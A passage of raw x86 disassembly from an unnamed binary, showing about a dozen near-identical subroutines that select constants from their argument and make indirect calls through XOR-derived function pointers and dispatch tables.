var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 97h
mov [ebp+var_2C], 2Eh
mov [ebp+var_28], 0FBh
mov [ebp+var_24], 0B7h
mov [ebp+var_20], 0B3h
mov [ebp+var_1C], 6Bh
mov [ebp+var_18], 2Dh
mov [ebp+var_14], 71h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1605
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1605: ; CODE XREF: sub_4B1574+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1671 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBD0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Dh
mov [ebp+var_2C], 0B8h
mov [ebp+var_28], 5Bh
mov [ebp+var_24], 0EEh
mov [ebp+var_20], 1Ch
mov [ebp+var_1C], 0D2h
mov [ebp+var_18], 8Bh
mov [ebp+var_14], 0ABh
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B16FF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B16FF: ; CODE XREF: sub_4B1671+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B176B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBD4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Ch
mov [ebp+var_2C], 37h
mov [ebp+var_28], 0D2h
mov [ebp+var_24], 0E1h
mov [ebp+var_20], 0BBh
mov [ebp+var_1C], 0E8h
mov [ebp+var_18], 7Eh
mov [ebp+var_14], 4Bh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B17FC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B17FC: ; CODE XREF: sub_4B176B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B176B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1868 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBD8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E3h
mov [ebp+var_2C], 31h
mov [ebp+var_28], 0DEh
mov [ebp+var_24], 5
mov [ebp+var_20], 41h
mov [ebp+var_1C], 6Dh
mov [ebp+var_18], 0DCh
mov [ebp+var_14], 4Eh
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B18F9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B18F9: ; CODE XREF: sub_4B1868+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1868 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1965 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBDCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E3h
mov [ebp+var_2C], 6Ch
mov [ebp+var_28], 0D1h
mov [ebp+var_24], 0C4h
mov [ebp+var_20], 9Ch
mov [ebp+var_1C], 7Dh
mov [ebp+var_18], 21h
mov [ebp+var_14], 41h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B19F6
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B19F6: ; CODE XREF: sub_4B1965+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1A62 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBE0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EFh
mov [ebp+var_2C], 62h
mov [ebp+var_28], 0FBh
mov [ebp+var_24], 0A4h
mov [ebp+var_20], 0E9h
mov [ebp+var_1C], 45h
mov [ebp+var_18], 0C6h
mov [ebp+var_14], 61h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1AF3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1AF3: ; CODE XREF: sub_4B1A62+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1A62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1B5F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBE4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DAh
mov [ebp+var_2C], 0AEh
mov [ebp+var_28], 0ABh
mov [ebp+var_24], 6Fh
mov [ebp+var_20], 1Bh
mov [ebp+var_1C], 8
mov [ebp+var_18], 1Bh
mov [ebp+var_14], 5Dh
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1BF0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1BF0: ; CODE XREF: sub_4B1B5F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1B5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1C5C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBE8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 15h
mov [ebp+var_2C], 50h
mov [ebp+var_28], 2Ah
mov [ebp+var_24], 10h
mov [ebp+var_20], 0D3h
mov [ebp+var_1C], 6
mov [ebp+var_18], 32h
mov [ebp+var_14], 0F1h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1CED
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1CED: ; CODE XREF: sub_4B1C5C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1C5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1D59 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBECo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Ah
mov [ebp+var_2C], 1Fh
mov [ebp+var_28], 0E2h
mov [ebp+var_24], 79h
mov [ebp+var_20], 66h
mov [ebp+var_1C], 9Fh
mov [ebp+var_18], 0CCh
mov [ebp+var_14], 37h
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1DEA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1DEA: ; CODE XREF: sub_4B1D59+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1D59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1E56 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBF0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DFh
mov [ebp+var_2C], 67h
mov [ebp+var_28], 0Ah
mov [ebp+var_24], 7Ch
mov [ebp+var_20], 0D2h
mov [ebp+var_1C], 0Bh
mov [ebp+var_18], 4Fh
mov [ebp+var_14], 0AEh
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1EE7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1EE7: ; CODE XREF: sub_4B1E56+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1F53 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBF4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Ch
mov [ebp+var_2C], 1Ch
mov [ebp+var_28], 0A2h
mov [ebp+var_24], 0DEh
mov [ebp+var_20], 0C4h
mov [ebp+var_1C], 10h
mov [ebp+var_18], 0D2h
mov [ebp+var_14], 0DAh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1FE3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1FE3: ; CODE XREF: sub_4B1F53+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1F53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B204F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBF8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BDh
mov [ebp+var_2C], 59h
mov [ebp+var_28], 8Dh
mov [ebp+var_24], 0E8h
mov [ebp+var_20], 0C8h
mov [ebp+var_1C], 73h
mov [ebp+var_18], 5Eh
mov [ebp+var_14], 39h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B20E0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B20E0: ; CODE XREF: sub_4B204F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B214C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBFCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
